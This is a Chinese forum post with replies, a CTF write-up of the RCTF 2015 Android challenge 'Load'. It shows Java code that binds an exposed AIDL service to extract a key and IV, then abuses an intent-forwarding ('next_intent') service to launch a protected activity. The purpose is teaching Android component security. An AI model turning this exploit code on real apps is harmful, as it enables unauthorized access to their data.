首页
论坛
课程
招聘
[原创]#30天写作挑战# 通过CTF学习Android漏洞(暴露组件aidl利用+next_intent)
2020-9-5 10:22 11324

[原创]#30天写作挑战# 通过CTF学习Android漏洞(暴露组件aidl利用+next_intent)

2020-9-5 10:22
11324

0x00 前言

题目

RCTF 2015 Mobile350-Load

描述(提示)

This APK has a vulnerability,Can you load the flag? Try it.WaWaWa_0bb98521a9f21cc3672774cfec9c7140

涉及漏洞点

1、暴露组件aidl利用
2、next_intent

0x01 漏洞介绍

1、暴露组件aidl利用漏洞

AIDL是Android中IPC(Inter-Process Communication)方式中的一种,AIDL是Android Interface definition language的缩写,AIDL的作用是让APP里绑定一个其他APP的sevice,这样APP可以和其他APP交互。

通过aidl绑定暴露的service进行远程访问。

2、next_intent漏洞

Intent(意图)主要是用于激活组件和解决Android应用的各项组件之间的通讯。

next_intent是指在代码中出现可供透传intent的代码,例如方法中出现新的intent使用旧intent的数据进行激活组件行为。

0x02 逻辑分析

图片描述

1、使用drozer确定攻击面

图片描述

(1) 1 activities exported
 

图片描述

 

图片描述

 

图片描述

WebActivity中使用webview进行loadurl获得flag。(WebActivity如何让它进行运行呢?)
(2) 1 broadcast receivers exported
 

图片描述

 

图片描述

(3) 0 content providers exported
(4) 2 services exported
 

图片描述

 

图片描述

MiscService:存在next_intent特征,可以控制CLASS_NAME启动组件。

图片描述

CoreService:存在暴露的AIDL接口。

2、对应用进行攻击

(1)攻击方法
 

编写一个新的app
通过AIDL绑定CoreService进行访问,获取WebActivity中加密函数使用的key和iv;
通过MiscService暴露出来的next_intent,模拟intent运行WebActivity获得flag。

(2)攻击内容
 

1)新建android app工程
2)添加可以访问service的权限

<uses-permission android:name="com.example.wawawa.permission.CORE_SERVICE"/>

3)程序中包名一定要和原程序一致

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    // 方法一
    try {
        ComponentName com = new ComponentName("com.example.wawawa", "com.example.wawawa.CoreService");
        Intent intent = new Intent();
        intent.setComponent(com);
        bindService(intent, connD, Context.BIND_AUTO_CREATE);
    } catch (Exception e) {
    }

    // 方法二
    Intent intent = new Intent("com.example.wawawa.CORE_SERVICE");
    intent.setClassName("com.example.wawawa", "com.example.wawawa.CoreService");
    startService(intent);

    bindService(intent, new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName componentName, IBinder iBinder) {
            System.out.println("//////" + componentName.toString());

            d da = d.a.a(iBinder);
            System.out.println("/////" + da);
            try {

                System.out.println("neil a------------- " + da.a());
                System.out.println("neil c------------- " + da.c());
                System.out.println("neil a------------- " + da.b());
            } catch (RemoteException e) {
                e.printStackTrace();
            }
        }

        @Override
        public void onServiceDisconnected(ComponentName componentName) {

        }
    }, 0);
    }
private d da;

private ServiceConnection connD = new ServiceConnection() {

    @Override
    public void onServiceConnected(ComponentName name, IBinder service) {
        da = d.a.a(service);

        try {
            System.out.println("c() Load.getIv------------- " + da.c());
            System.out.println("a() Load.getToken------------- " + da.a());
            System.out.println("b()------------- " + da.b());
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void onServiceDisconnected(ComponentName name) {
        // TODO Auto-generated method stub
    }

};
package com.example.wawawa.a;
import java.io.Serializable;

/* compiled from: Data */
public class b implements Serializable {

    /* renamed from: a reason: collision with root package name */
    private static final long f412a = -3601187837704976264L;
    private String b;
    private String c;
    private String d;

    public b(String str, String str2, String str3) {
        this.b = str;
        this.c = str2;
        this.d = str3;
    }

    public String a() {
        return this.b;
    }

    public String b() {
        return this.c;
    }

    public String c() {
        return this.d;
    }
}
package com.example.wawawa;

import android.os.Binder;
import android.os.IBinder;
import android.os.IInterface;
import android.os.Parcel;
import android.os.RemoteException;

public interface d extends IInterface {

    public static abstract class a extends Binder implements d {

        /* renamed from: a reason: collision with root package name */
        private static final String f418a = "com.example.wawawa.d";
        static final int b = 1;
        static final int c = 2;
        static final int d = 3;

        /* renamed from: com.example.wawawa.d$a$a reason: collision with other inner class name */
        private static class C0016a implements d {

            /* renamed from: a reason: collision with root package name */
            private IBinder f419a;

            C0016a(IBinder iBinder) {
                this.f419a = iBinder;
            }

            public IBinder asBinder() {
                return this.f419a;
            }

            public String d() {
                return a.f418a;
            }

            public String a() throws RemoteException {
                Parcel obtain = Parcel.obtain();
                Parcel obtain2 = Parcel.obtain();
                try {
                    obtain.writeInterfaceToken(a.f418a);
                    this.f419a.transact(1, obtain, obtain2, 0);
                    obtain2.readException();
                    return obtain2.readString();
                } finally {
                    obtain2.recycle();
                    obtain.recycle();
                }
            }

            public String b() throws RemoteException {
                Parcel obtain = Parcel.obtain();
                Parcel obtain2 = Parcel.obtain();
                try {
                    obtain.writeInterfaceToken(a.f418a);
                    this.f419a.transact(2, obtain, obtain2, 0);
                    obtain2.readException();
                    return obtain2.readString();
                } finally {
                    obtain2.recycle();
                    obtain.recycle();
                }
            }

            public String c() throws RemoteException {
                Parcel obtain = Parcel.obtain();
                Parcel obtain2 = Parcel.obtain();
                try {
                    obtain.writeInterfaceToken(a.f418a);
                    this.f419a.transact(3, obtain, obtain2, 0);
                    obtain2.readException();
                    return obtain2.readString();
                } finally {
                    obtain2.recycle();
                    obtain.recycle();
                }
            }
        }

        public a() {
            attachInterface(this, f418a);
        }

        public static d a(IBinder iBinder) {
            if (iBinder == null) {
                return null;
            }
            IInterface queryLocalInterface = iBinder.queryLocalInterface(f418a);
            if (queryLocalInterface == null || !(queryLocalInterface instanceof d)) {
                return new C0016a(iBinder);
            }
            return (d) queryLocalInterface;
        }

        public IBinder asBinder() {
            return this;
        }

        public boolean onTransact(int i, Parcel parcel, Parcel parcel2, int i2) throws RemoteException {
            switch (i) {
                case 1:
                    parcel.enforceInterface(f418a);
                    String a2 = a();
                    parcel2.writeNoException();
                    parcel2.writeString(a2);
                    return true;
                case 2:
                    parcel.enforceInterface(f418a);
                    String b2 = b();
                    parcel2.writeNoException();
                    parcel2.writeString(b2);
                    return true;
                case 3:
                    parcel.enforceInterface(f418a);
                    String c2 = c();
                    parcel2.writeNoException();
                    parcel2.writeString(c2);
                    return true;
                case 1598968902:
                    parcel2.writeString(f418a);
                    return true;
                default:
                    return super.onTransact(i, parcel, parcel2, i2);
            }
        }
    }

    String a() throws RemoteException;

    String b() throws RemoteException;

    String c() throws RemoteException;
}

图片描述

 

4)模拟intent

Intent intent1 = new Intent("com.example.wawawa.Misc_SERVICE");
intent1.setClassName("com.example.wawawa", "com.example.wawawa.MiscService");
intent1.putExtra("CLASS_NAME","com.example.wawawa.WebActivity");
intent1.putExtra("KEY", new b("xxxxxxxx","12345678","loading"));
startService(intent1);

图片描述

 

图片描述

由于题目是15年的服务器早以关闭,所以就看不到flag了。

0x03 总结

1、android的漏洞学习需要持续积累
2、android的组件安全造成的逻辑漏洞


[2022夏季班]《安卓高级研修班(网课)》月薪两万班招生中~

最后于 2020-9-5 11:07 被neilwu编辑 ,原因:
上传的附件:
收藏
点赞9
打赏
分享
最新回复 (8)
雪    币: 8911
活跃值: 活跃值 (37853)
能力值: (RANK:105 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2020-9-5 12:04
2
0
感谢分享!
雪    币: 391
活跃值: 活跃值 (724)
能力值: ( LV4,RANK:58 )
在线值:
发帖
回帖
粉丝
xjklewh 活跃值 2020-9-7 10:07
3
0
向大佬学习,太厉害了
雪    币: 10010
活跃值: 活跃值 (4629)
能力值: ( LV11,RANK:198 )
在线值:
发帖
回帖
粉丝
neilwu 活跃值 1 2020-9-7 10:08
4
0
xjklewh 向大佬学习,太厉害了[em_63][em_63][em_63][em_63][em_63]
共同学习
雪    币: 8911
活跃值: 活跃值 (37853)
能力值: (RANK:105 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2020-9-7 16:55
5
0

欢迎更多的小伙伴参与到 #30天写作挑战#中来!活动详情:https://bbs.pediy.com/thread-261705.htm

雪    币: 1451
活跃值: 活跃值 (3588)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
唱过阡陌 活跃值 1 2020-9-8 09:40
6
0
Editor 欢迎更多的小伙伴参与到 #30天写作挑战#中来!活动详情:https://bbs.pediy.com/thread-261705.htm
emmm 9.1之后发的文章  标题没有加]#30天写作挑战#   就不算么   我能不能补上标题  
雪    币: 8911
活跃值: 活跃值 (37853)
能力值: (RANK:105 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2020-9-8 09:47
7
0
唱过阡陌 emmm 9.1之后发的文章 标题没有加]#30天写作挑战# 就不算么 我能不能补上标题
可以的,在9月份任意时间发的文章,加上#30天写作挑战# 都认为是参与活动的
雪    币: 8503
活跃值: 活跃值 (5881)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
直木 活跃值 4 2021-11-16 20:39
8
0

楼主,有问题想请教:

楼主你当时用的mumu模拟器里Android系统是啥版本的?Android 6.1吗?为啥我直接跑第(4)步模拟intent不成功 WaWaWa程序直接就崩溃没了


------


已解决。被自己蠢哭,看了logcat,包名写错了导致找不到类。

最后于 2021-11-17 09:32 被直木编辑 ,原因:
雪    币: 10010
活跃值: 活跃值 (4629)
能力值: ( LV11,RANK:198 )
在线值:
发帖
回帖
粉丝
neilwu 活跃值 1 2021-11-17 09:50
9
0
直木 楼主,有问题想请教:楼主你当时用的mumu模拟器里Android系统是啥版本的?Android&nbsp;6.1吗?为啥我直接跑第(4)步模拟intent不成功&nbsp;WaWaWa ...
我看了一下是 android 6.0.1
游客
登录 | 注册 方可回帖
返回